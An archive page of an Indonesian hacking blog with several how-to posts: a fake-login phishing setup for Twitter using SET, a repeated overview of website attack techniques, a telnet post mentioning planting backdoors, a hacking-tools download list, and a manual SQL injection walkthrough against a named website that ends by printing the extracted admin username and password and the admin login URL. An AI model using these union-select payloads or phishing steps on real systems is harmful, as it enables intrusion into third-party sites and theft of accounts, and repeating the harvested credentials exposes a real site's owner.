Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Mar 26, 2013

Hack and take over windows with Metasploit




hmm... udah lama ga ngePost, maklum bentar lagi ane UN :) , postingan kali ini tentang "Take over the windows with metasploit" terdengar keren ya.. tp tidak juga... tutorial ini saya pelajari dari Red-Dragon dan saya kutip dari blognya RD's BLog oke kita mulai :D

Requirements:
1. Metaslpoit (Download)
2. Netcat (search in google)

tapi bagi kalian pengguna backtrack.. di 3rd revolution'a, bt5r3, itu semua sudah tersedia, mungkin sedikit butuh diupgrade aja..saya disini menggunakan backtrack sebagai OS untuk kegiatan ini.

let's start!!

Oct 28, 2012

Hacking Twitter With Backtrack

well...kita akan bahas dan belajar tentang hacking twitter (sebenrnya bisa buat semua website),menggunakan fake login, saya menggunakan OS backtrack, dan aplikasi SET (social engineering tools)..
kalo ada yang belum tau apa itu backtrack nih baca di wikipedia

oke kita bahas step by step...
1. setting ip eth0 sesuai yang anda inginkan,saya menggunakan ip 192.168.1.100
ketik : ifconfig 192.168.1.100
seperti gambar di bawah


cek dulu apakah ip eth0 kita sesuai yang kita ketik "192.168.1.100"
ketik : airmon-ng [enter]
lihat baris eth0 apakah terdapat 192.168.1.100
jika sudah..selanjut'a

2.buka SET pada backtrack terdapat pada Application>>Backtrack>>Exploitation Tools>>Social Engineering tools>>Social Engineering Toolkit>>SET

Nov 21, 2011

Cara Hacker Membobol Suatu Website

Hacker, tak dipungkiri kebenarannya siap menguji keamanan sistem yang dibuat. Hacker secara umum memliliki cara dan tehnik untuk hacker menembus ataupun menyusup dan juga merusak suatu website adalah sebagai berikut. Teknik-teknik itu antara lain:


1.IP Spoofing
2.FTP Attack
3.Unix Finger Exploits
4.Flooding & Broadcasting
5.Fragmented Packet Attacks
6.E-mail Exploits
7.DNS and BIND Vulnerabilities
8.Password Attacks
9.Proxy Server Attacks
10.Remote Command Processing Attacks
11.Remote File System Attack
12.Selective Program Insertions
13.Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15.HTTPD Attacks



1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.



IP Spoofing terjadi ketika seorang attacker ?mengakali? packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang



3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.



Utility ini juga Menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ?memberitahu? password dan kode akses terhadap system.



4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang Menyediakan informasi menjadi lemah dan akhirnya menyerah.



Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan



5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol



6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function)

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation)



8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.



Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, kracking dan sniffing

9. Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host Menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya



11. Remote File System Attack

Protocol-protokol untuk tranportasi data ?tulang punggung dari internet? adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file



12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor



13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack



14.TCP/IP Sequence Stealing, Passive Port Listening and Packet

Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods

Cara Hacker Membobol Suatu Website

Hacker, tak dipungkiri kebenarannya siap menguji keamanan sistem yang dibuat. Hacker secara umum memliliki cara dan tehnik untuk hacker menembus ataupun menyusup dan juga merusak suatu website adalah sebagai berikut. Teknik-teknik itu antara lain:


1.IP Spoofing
2.FTP Attack
3.Unix Finger Exploits
4.Flooding & Broadcasting
5.Fragmented Packet Attacks
6.E-mail Exploits
7.DNS and BIND Vulnerabilities
8.Password Attacks
9.Proxy Server Attacks
10.Remote Command Processing Attacks
11.Remote File System Attack
12.Selective Program Insertions
13.Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15.HTTPD Attacks



1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.



IP Spoofing terjadi ketika seorang attacker ?mengakali? packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang



3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.



Utility ini juga Menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ?memberitahu? password dan kode akses terhadap system.



4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang Menyediakan informasi menjadi lemah dan akhirnya menyerah.



Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan



5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol



6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function)

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation)



8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.



Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, kracking dan sniffing

9. Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host Menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya



11. Remote File System Attack

Protocol-protokol untuk tranportasi data ?tulang punggung dari internet? adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file



12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor



13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack



14.TCP/IP Sequence Stealing, Passive Port Listening and Packet

Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods

Nov 16, 2011

SQL Injection Manual

Target : http://www.natoleo.com/Content.php?id=14

1. Cek bug pada suatu website dengan menambahkan single quote ( ' ) dibelakang url, ternyata terdapat bug pada http://www.natoleo.com

http://www.natoleo.com/Content.php?id=14’

muncul pesan error: MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)




2. Untuk mencari column gunakan perintah [order by].order by 1--dimulai dengan angka 1, selanjutnya 2, dst sampe muncul pesan errorpada target kita kali ini, error muncul pada angka 6. MySQL Error: 1054 (Unknown column '6' in 'order clause')

http://www.natoleo.com/Content.php?id=14 order by 5--


jadi angka yang diambil adalah 6-1 = 5 (jumlah column adalah 5)




3. Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=14 menjadi id=-14


http://www.natoleo.com/Content.php?id=-14 union all select 1,2,3,4,5--

akan muncul "angka ajaib" : 1




4. Selanjutnya kita cari versi Database MySql-nya dengan perintah "version()" pada angka 1.

http://www.natoleo.com/Content.php?id=-14 union all select version(),2,3,4,5--

muncul tulisan :5.0.51a-community




5. Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib dan " from information_schema.tables where table_schema=database()--" di belakang angka 5

http://www.natoleo.com/Content.php?id=-14 union all select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database()--

muncul nama-nama table: ad_categories,ads,alaris_menu,alaris_sub2_menu,alaris_sub_menu,alaris_users,articles,categories,category_types,club_statuses,config,content,course_welcome,emails,er_setting,event_registrations,events,forums,headercontent,kiteads_acls,kiteads_adclicks,kiteads_adstats,kiteads_adviews,kiteads_affiliates,kiteads_banners,kiteads_cache,kiteads_clients,kiteads_config,kiteads_images,kiteads_session,kiteads_targetstats,kiteads_userlog,kiteads_zones,link_categories,links,links2,linkspic,lookup_countries,lookup_states,members,messages,news,newsletter,pack_grp,pack_lists,package,products,users_group,welcome




6. Selanjutnya kita cari column dari table yg ada hubungannya dengan user dan password,kali ini kita ambil table "members"sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :http://undana.ac.id/images/upload/test.html : pada ascii text ketik members lalu klik encode. hasilnya di kolom Hex Value : 6D656D62657273

Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 1 dan " from information_schema.columns where table_name=0xHexa--" di akhir URL yaitu 6D656D62657273

tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvertke hexa.

http://www.natoleo.com/Content.php?id=-14 union all select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x6D656D62657273--

muncul column: member_id,member_first_name,member_last_name,member_login,member_password,member_email,country_id,state_id,member_city,member_zip,member_address1,member_address2,member_address3,member_ph_work,member_ph_work_ext,member_phone_home,member_phone_addl,member_fax,picture_url,website_url,club_status_id,member_date_added,security_level_id

kita ambil : member_login,member_password



7. Untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 1 dan from NAMATABLE-- pada akhir URL

ganti column1 dengan "member_login" dan column2 dengan "member_password". 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa. NAMA TABLE diganti dengan "members" untuk mengambil informasi dari table yang bernama"members"

http://www.natoleo.com/Content.php?id=-14 union all select group_concat(member_login,0x3a,member_password),2,3,4,5 from members--


hasilnya akan muncul:

user: wilmarnatoleo

pass: natoleoP@ssword


sekarang tinggal login ke website target..

http://www.natoleo.com/admin/

Smoga berhasil ya,saya juga masih belajar..

Sep 8, 2011

Remote komputer dengan Telnet


Telnet merupakan fitur lama yang dipakai untuk meremote sebuah host melalui command line. Telnet bekerja melalui port 23. bila kita dapat masuk ke komputer lain dengan telnet, maka kita dapat melakukan banyak hal layaknya kita berhadapan muka dengan komputer tujuan.


Pada contoh kali ini kita akan mencoba meremote komputer lain dalam sebuah jaringan LAN. komputer saya memiliki IP Address 192.168.1.3, sedangkan komputer tujuan yang akan kita remote memiliki IP Address 192.168.1.4.




Untuk melakukan koneksi melalui fasilitas telnet, terlebih dahulu pada komputer yang akan diremote (192.168.1.4) dijalankan dulu service telnet-nya. jika ia menggunakan Sistem Operasi Windows XP, cara mengaktifkannya adalah : Start => Control Panel => Addministrative tools => Services => Telnet.
Pada jendela baru yang terbuka, pada bagian Startup Type pilih "Manual", setelah itu klik "Apply", Kemudian pilih Tombol "Start" dan terakhir klik tombol "Ok"




Jika service sudah dijalankan, maka dari komputer yang akan meremote (192.168.1.3 ) kita tinggal membuka CMD atau program sejenis dan menuliskan syntax "TELNET 192.168.1.4". jika ada pertanyaan "You are about to send your password information to a remote computer in Internet zone. This might not be safe. Do you want to send anyway(y/n):", jawab saja dengan menekan "N" lalu tekan Enter
Tidak lama kemudian kita akan diwajibkan mengisi username dan password dari User Account komputer tujuan. seperti contoh kali ini, user 192.168.1.4 memiliki Account Windows XP dengan nama "Gue" dan Password "abc12". setelah memasukkan kata sandi ini dengan benar, maka posisi CMD saya kali ini tidak lagi berada pada komputer 192.168.1.3, namun pada komputer tujuan yaitu 192.168.1.4. ini dapat dibuktikan dengan menjalankan perintah "Dir" untuk melihat isi direktori yang ada.




selanjutnya, saya bisa melakukan apa saja kepada komputer tujuan ini melalui komunikasi telnet, baik sekedar meng-copy file, membuat backdoor, atau bahkan menghapus file sistem yang ada, semua tergantung penguasaan anda dalam perintah command line.

Bagaimana?,cukup mudah bukan ?asaln anda serius pasti akan berhasil

Aug 1, 2011

Software Hacking Tools Terbaik


Software ini andalah software terbaik yang sering di gunakan para hacker untuk menelusuri (. . .), software ini patut untuk di coba bagi seorang yang senang dengan dunia hacking. Bagi sahabat blogger yang ingin mencobanya silakan lihat dulu daftar isinya dibawah ini :

Berikut isi koleksi top 10 vital hacking software and tools:
- Cain and Abel (sniffer)
- John the Ripper (brootforce)
- NetStumbler (Wifi breaker)
- Nmap (Network scanner)
- Putty (Telnet)
- SuperScan (Scanner & pinger)
- Hping (Pinger)
- Lcp (brute force password)
- Nikto (scanner broken web server)
- Kismet (sniffer wireless network 802.11)

Jika ingin mendownload software tersebut silakan klik tulisan dibawah ini:
Ukuran : 23.7 MB